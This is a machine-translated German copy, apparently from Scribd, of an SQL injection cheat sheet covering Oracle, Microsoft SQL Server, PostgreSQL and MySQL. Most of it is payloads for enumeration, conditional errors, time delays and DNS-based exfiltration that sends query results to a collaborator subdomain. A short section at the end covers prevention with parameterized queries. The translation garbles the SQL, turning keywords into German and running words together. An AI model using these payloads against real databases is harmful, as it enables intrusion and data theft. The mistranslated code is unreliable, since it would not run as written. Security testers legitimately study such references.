0% fanden dieses Dokument nützlich (0 Abstimmungen)
6 Ansichten7 Seiten

SQL Injection Überblick

Dieses SQL-Injection-Spickzettel enthält Beispiele für nützliche SQL-Syntax zur Durchführung von Aufgaben, die während SQL-Injection-Angriffen gegen verschiedene Datenbanktypen auftreten. Es enthält Beispiele für die Zeichenfolgenverkettung, Kommentare, das Bestimmen der Datenbankversion, das Auflisten von Datenbankinhalten, bedingte Fehler, Zeitverzögerungen und DNS-Abfragen, die bei SQL-Injection auf Oracle, Microsoft SQL Server, PostgreSQL und MySQL-Datenbanken verwendet werden können.

Übersetzt von

ScribdTranslations
Copyright
© All Rights Reserved
Wir nehmen die Rechte an Inhalten ernst. Wenn Sie vermuten, dass dies Ihr Inhalt ist, beanspruchen Sie ihn hier.
Verfügbare Formate
Als PDF, TXT herunterladen oder online auf Scribd lesen
0% fanden dieses Dokument nützlich (0 Abstimmungen)
6 Ansichten7 Seiten

SQL Injection Überblick

Dieses SQL-Injection-Spickzettel enthält Beispiele für nützliche SQL-Syntax zur Durchführung von Aufgaben, die während SQL-Injection-Angriffen gegen verschiedene Datenbanktypen auftreten. Es enthält Beispiele für die Zeichenfolgenverkettung, Kommentare, das Bestimmen der Datenbankversion, das Auflisten von Datenbankinhalten, bedingte Fehler, Zeitverzögerungen und DNS-Abfragen, die bei SQL-Injection auf Oracle, Microsoft SQL Server, PostgreSQL und MySQL-Datenbanken verwendet werden können.

Übersetzt von

ScribdTranslations
Copyright
© All Rights Reserved
Wir nehmen die Rechte an Inhalten ernst. Wenn Sie vermuten, dass dies Ihr Inhalt ist, beanspruchen Sie ihn hier.
Verfügbare Formate
Als PDF, TXT herunterladen oder online auf Scribd lesen

SQL-Injection-Spickzettel

Dieses SQL-Injection-Spickzettel enthält Beispiele für nützliche Syntax, die Sie verwenden können, um
führen Sie eine Vielzahl von Aufgaben aus, die häufig bei SQL-Injection-Angriffen auftreten.

String-Verkettung
Sie können mehrere Strings zusammenfügen, um einen einzelnen String zu erstellen.

Oracle foo||bar
Microsoft 'foo'+'bar'
PostgreSQL foo||bar
MySQL 'foo' 'bar' [Beachten Sie den Abstand zwischen den beiden Strings]
VERKETTEN('foo','bar')

Teilstring
Sie können einen Teil eines Strings von einem bestimmten Offset mit einer bestimmten Länge extrahieren. Beachten Sie, dass
Der Offset-Index ist 1-basiert. Jeder der folgenden Ausdrücke gibt die Zeichenkette zurückba.

Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQ SUBSTRING('foobar', 4, 2)
L
MySQL SUBSTRING('foobar', 4, 2)

Comments
Sie können Kommentare verwenden, um eine Abfrage zu kürzen und den Teil der ursprünglichen Abfrage zu entfernen.
das folgt Ihrem Eingabefeld.

Oracle --Kommentar
Microsoft --Kommentar
/*Kommentar*/
PostgreSQL --comment
/*Kommentar*/
MySQL #comment
-- Kommentar[Hinweis den Raum nach dem doppelten Bindestrich]
/*comment*/
Datenbankversion
Sie können die Datenbank abfragen, um ihren Typ und ihre Version zu bestimmen. Diese Informationen sind nützlich.
bei der Formulierung komplizierterer Angriffe.

Oracle WÄHLEN SIE banner AUS v$version


WÄHLE version AUS v$instance
Microsoft WÄHLE @@version
PostgreSQ WÄHLEN SIE VERSION()
L
MySQL WÄHLEN Sie @@version

Datenbankinhalt
Sie können die Tabellen auflisten, die in der Datenbank existieren, und die Spalten, die diese Tabellen enthalten.
enthalten.

Oracle WÄHLEN SIE * AUS all_tables


WÄHLEN Sie * AUS all_tab_columns WO table_name = 'TABELLE-
NAME-HIER
Microsoft WÄHLEN * AUS information_schema.tables
WÄHLEN SIE * AUS information_schema.columns WO table_name =
'TABELLE-NAME-HIER'
PostgreSQL WÄHLEN SIE * AUS information_schema.tables
WÄHLEN SIE * AUS information_schema.columns WO table_name =
'TABELLE-NAME-HIER'
MySQL WÄHLEN SIE * AUS information_schema.tables
WÄHLE * AUS information_schema.columns WO table_name =
'TABELLENNAME-HIER'

Bedingte Fehler
Sie können eine einzelne boolesche Bedingung testen und einen Datenbankfehler auslösen, wenn die Bedingung erfüllt ist.
wahr.

Oracle WÄHLEN SIE FALL WENN (IHRE-BEDINGUNG-HIER) DANN


to_char(1/0) SONST NULL ENDE VON dual
Microsoft WÄHLEN SIE FALL, WENN (IHRE-BEDINGUNG-HIER) DANN 1/0
SONST NULL ENDE
PostgreSQL WÄHLE FALLS (DEINE-BEDINGUNG-HIER) DANN cast(1/0
sonst NULL ENDE
MySQL WÄHLEN SIE, WENN(IHRE-BEDINGUNG-HIER,(WÄHLEN SIE tabellenname AUS
information_schema.tables),'a')

Gebündelte (oder gestapelte) Abfragen

Sie können batchweise Abfragen verwenden, um mehrere Abfragen nacheinander auszuführen. Beachten Sie, dass während
Die folgenden Abfragen werden ausgeführt, die Ergebnisse werden jedoch nicht an die Anwendung zurückgegeben.
Daher ist diese Technik hauptsächlich im Zusammenhang mit blinden Schwachstellen von Nutzen, bei denen Sie können
Verwenden Sie eine zweite Abfrage, um eine DNS-Abfrage, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.

Oracle Unterstützt keine gruppierten Abfragen.


Microsoft ANFRAGE-1-HIER; ANFRAGE-2-HIER
PostgreSQL QUERY-1-HERE; QUERY-2-HERE
MySQL QUERY-1-HERE; QUERY-2-HERE

Hinweis

Mit MySQL können gebatchte Abfragen typischerweise nicht für SQL-Injection verwendet werden. Allerdings ist dies
ist gelegentlich möglich, wenn die Zielanwendung bestimmte PHP- oder Python-APIs verwendet, um
Mit einer MySQL-Datenbank kommunizieren.

Zeitverzögerungen

Sie können eine Zeitverzögerung in der Datenbank verursachen, wenn die Abfrage verarbeitet wird. Die folgende
will cause an unconditional time delay of 10 seconds.

Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WARTEN SIE AUF VERZÖGERUNG '0:0:10'

PostgreSQL WÄHLEN Sie pg_sleep(10)


MySQL SELECT sleep(10)

Bedingte Zeitverzögerungen
Sie können eine einzelne boolesche Bedingung testen und eine Zeitverzögerung auslösen, wenn die Bedingung wahr ist.

Oracle WÄHLE FALL WENN (DEIN-BEDINGUNG-HIER) DANN 'a'||


dbms_pipe.receive_message(('a'),10) SONST NULL ENDE VON dual
Microsoft WENN (IHRE-BEDINGUNG-HIER) WARTE AUF VERZÖGERUNG '0:0:10'
PostgreSQL WÄHLE FALLS WENN (IHRE-BEDINGUNG-HIER) DANN
pg_sleep(10) SONST pg_sleep(0) ENDE
MySQL WÄHLE WENN(DEINE-BEDINGUNG-HIER,sleep(10),'a')
DNS-Abfrage
Sie können die Datenbank veranlassen, eine DNS-Abfrage an eine externe Domain durchzuführen. Um dies zu tun
Dafür müssen Sie den Burp Collaborator-Client verwenden, um ein einzigartiges Burp zu generieren.
Unterdomains des Collaborators, die Sie in Ihrem Angriff verwenden werden, und dann den Collaborator abfragen
Server, um zu bestätigen, dass eine DNS-Abfrage stattgefunden hat.

Oracle Die folgende Technik nutzt eine XML-Extern-Entität (XXE)


Sicherheitsanfälligkeit zur Auslösung einer DNS-Abfrage. Die Sicherheitsanfälligkeit wurde behoben.
aber es gibt viele ungepatchte Oracle-Installationen.
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-
8"?><!-- <!DOCTYPE root [<!ENTITY % remote SYSTEM "[Link]
[Link]/"> %remote;]>'),'/l') FROM
dual

The following technique works on fully patched Oracle installations, but


erfordert erhöhte Berechtigungen:
WÄHLEN SIE UTL_INADDR.get_host_address('IHRE-SUBDOMAIN-
[Link]')
Microsoft exec master..xp_dirtree '//IHRE-SUBDOMÄNE-
[Link]/a
PostgreSQL kopiere (SELECT '') zu Programm 'nslookup DEIN-SUBDOMAIN-
[Link]
MySQL Die folgenden Techniken funktionieren nur unter Windows:
LADEN_DATEI('\\[Link]\a')
SELECT ... INTO OUTFILE '\\IHRE-SUBDOMAIN-
[Link]\a

DNS-Abfrage mit Datenexfiltration


Sie können die Datenbank dazu bringen, eine DNS-Abfrage an eine externe Domain durchzuführen, die enthält
die Ergebnisse einer injizierten Abfrage. Dazu müssen Sie Burp Collaborator verwenden
Client, um eine einzigartige Burp Collaborator Subdomain zu erzeugen, die Sie in Ihrem Angriff verwenden werden,
und dann den Collaborator-Server abfragen, um Details zu etwaigen DNS-Interaktionen abzurufen,
einschließlich der exfiltrierten Daten.

Oracle SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-


8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "[Link]
(WÄHLEN SIE IHRE-ANFRAGE-HIER)||'.IHRE-UNTERDOMÄNE-
[Link]/"> %remote;]>'),'/l') VON dual
Microsoft deklarieren @p varchar(1024); setzen @p=(SELECT DEINE-ABFRAGE-
HIER);exec('master..xp_dirtree "//'+@p+'.IHRE-UNTERDOMAINE-
[Link]/a"')
PostgreSQL erstelle oder ersetze Funktion f() gibt void zurück als $$
deklarieren c text;
deklariere p text;
beginnen
SELECT in p (SELECT IHRE-ABFRAGE-HIER);
c := 'kopiere (WÄHLE '''') zu Programm ''nslookup '||p||'.DEIN-
[Link]''' ;
führe c aus;
ENDE;
$$ Sprache plpgsql Sicherheitsdefinierer;
SELECT f();
MySQL Die folgende Technik funktioniert nur unter Windows:
WÄHLEN SIE IHRE-ANFRAGE-HIER IN DIE AUSGABE 'OUTFILE' '\\IHRE-
[Link]\a'

Wie man SQL-Injection-Schwachstellen erkennt


Die Mehrheit der SQL-Injection-Schwachstellen kann schnell und zuverlässig gefunden werden, indem man
Burp Suite'sWeb-Sicherheits-Scanner.

SQL-Injection kann manuell durch die Verwendung eines systematischen Sets von Tests gegen jede
Einstiegspunkt in der Anwendung. Dies umfasst typischerweise:

Einreichen des einfachen Anführungszeichens' und nach Fehlern oder anderen Anomalien suchen.
Einreichen einer SQL-spezifischen Syntax, die den Basiswert (ursprünglichen Wert) des
Eingangspunkt und zu einem anderen Wert und suchen nach systematischen Unterschieden im
resultierende Anwendungsantworten.
Submitting Boolean conditions such as ODER 1=1undODER 1=2, undsuchen nach
Unterschiede in den Antworten der Anwendung.
Übermittlung von Payloads, die entwickelt wurden, um Zeitverzögerungen auszulösen, wenn sie innerhalb eines SQL ausgeführt werden.
Abfrage und Suche nach Unterschieden in der benötigten Zeit für die Antwort.
Einreichen von OAST-Payloads, die darauf ausgelegt sind, eine Out-of-Band-Netzwerkinteraktion auszulösen, wenn
ausgeführt innerhalb einer SQL-Abfrage und Überwachung aller resultierenden Interaktionen.

SQL-Injektion in verschiedenen Teilen der Abfrage


Die meisten SQL-Injection-Schwachstellen entstehen innerhalb derWOKlausel eines aWÄHLENAbfrage.
Diese Art von SQL-Injection ist von erfahrenen Testern im Allgemeinen gut verstanden.
Aber SQL-Injection-Schwachstellen können prinzipiell an jedem Ort innerhalb der Abfrage auftreten.
und innerhalb verschiedener Abfragetypen. Die häufigsten anderen Orte, an denen SQL-Injection
entstehen sind:

InAktualisierungAussagen, innerhalb der aktualisierten Werte oder derWOKlausel.


InEINFÜGENAussagen, innerhalb der eingefügten Werte.
InWÄHLENAussagen, innerhalb des Tabellen- oder Spaltennamens.
InAUSWÄHLENAussagen, innerhalb derORDER BYKlausel.

SQL-Injection zweiter Ordnung


Eine SQL-Injection erster Ordnung tritt auf, wenn die Anwendung Benutzereingaben aus einem HTTP
Anfrage und im Zuge der Verarbeitung dieser Anfrage das Eingangs in einsetzt
SQL-Abfrage auf unsichere Weise.

Bei SQL-Injection zweiter Ordnung (auch als gespeicherte SQL-Injection bekannt) wird die Anwendung
nimmt Benutzereingaben aus einer HTTP-Anfrage entgegen und speichert sie zur späteren Verwendung. Dies geschieht normalerweise
indem die Eingabe in eine Datenbank eingegeben wird, aber an dem Punkt, an dem die
Daten werden gespeichert. Später, wenn eine andere HTTP-Anfrage bearbeitet wird, ruft die Anwendung ab
Die gespeicherten Daten und integriert sie auf unsichere Weise in eine SQL-Abfrage.

SQL-Injektion zweiter Ordnung tritt häufig in Situationen auf, in denen Entwickler sich bewusst sind von
SQL-Injektionsanfälligkeiten und so die sichere Handhabung der ursprünglichen Platzierung der Eingabe in
die Datenbank. Wenn die Daten später verarbeitet werden, gelten sie als sicher, da sie
zuvor sicher in die Datenbank eingegeben. An diesem Punkt wird die Daten bearbeitet in einer
unsichere Weise, da der Entwickler fälschlicherweise annimmt, dass sie vertrauenswürdig ist.

Datenbankspezifische Faktoren
Einige Kernfunktionen der SQL-Sprache sind auf die gleiche Weise implementiert.
beliebte Datenbankplattformen und so viele Möglichkeiten, SQL zu erkennen und auszunutzen
injection vulnerabilities work identically on different types of database.

Es gibt jedoch auch viele Unterschiede zwischen gängigen Datenbanken. Diese bedeuten
dass einige Techniken zur Erkennung und Ausnutzung von SQL-Injektionen unterschiedlich funktionieren auf
verschiedene Plattformen. Zum Beispiel:

Syntax für die Zeichenverkettung.


Kommentare.
Batch-Abfragen (oder gestapelte Abfragen).
Plattformspezifische APIs.
Fehlermeldungen.
Mehr lesen

SQL-Injection-Spickzettel

Wie man SQL-Injektionen verhindert


Die meisten Fälle von SQL-Injection können durch die Verwendung von parametrierten Abfragen verhindert werden (auch
bekannt als vorbereitete Anweisungen) anstelle von String-Verkettung innerhalb der Abfrage.

Der folgende Code ist anfällig für SQL-Injection, da die Benutzereingabe


direkt in die Abfrage konkateniert:

String query = "SELECT * FROM produkte WHERE kategorie = '" + input + "'";
Statement statement = [Link]();
ResultSet resultSet = [Link](abfrage);

Dieser Code kann leicht so umgeschrieben werden, dass die Benutzereingabe nicht stört.
mit der Abfragestruktur:

PreparedStatement statement = [Link]("SELECT * FROM ")


Produkte WHERE Kategorie = ?";
[Link](1, input);
ResultSet resultSet = [Link]();
Parametrisierte Abfragen können in jeder Situation verwendet werden, in der nicht vertrauenswürdige Eingaben auftreten.

Daten innerhalb der Abfrage, einschließlich derWOKlausel und Werte in


anEINFÜGENoderAktualisierenAussage. Sie können nicht verwendet werden, um nicht vertrauenswürdige Eingaben zu verarbeiten in
andere Teile der Abfrage, wie Tabellen- oder Spaltennamen, oder dieORDER BYKlausel.
Anwendungsfunktionen, die nicht vertrauenswürdige Daten in diese Teile der Abfrage einfügen, werden
müssen einen anderen Ansatz wählen, wie das Whitelisting erlaubter Eingabewerte oder die Verwendung von
andere Logik, um das erforderliche Verhalten zu liefern.

Damit eine parametrische Abfrage effektiv SQL-Injection verhindern kann, muss der String, der
Im Abfrage verwendete Werte müssen immer konstante harter Werte sein und dürfen niemals enthalten.
variable Daten aus beliebigen Ursprüngen. Lassen Sie sich nicht verleiten, von Fall zu Fall zu entscheiden, ob ein
Datenelement ist vertrauenswürdig und weiterhin String-Verkettung innerhalb der Abfrage verwenden für
Fälle, die als sicher gelten. Es ist allzu leicht, Fehler über die möglichen zu machen.
Ursprung der Daten oder für Änderungen in anderem Code, die Annahmen über die Daten verletzen.
beeinträchtigt.

Das könnte Ihnen auch gefallen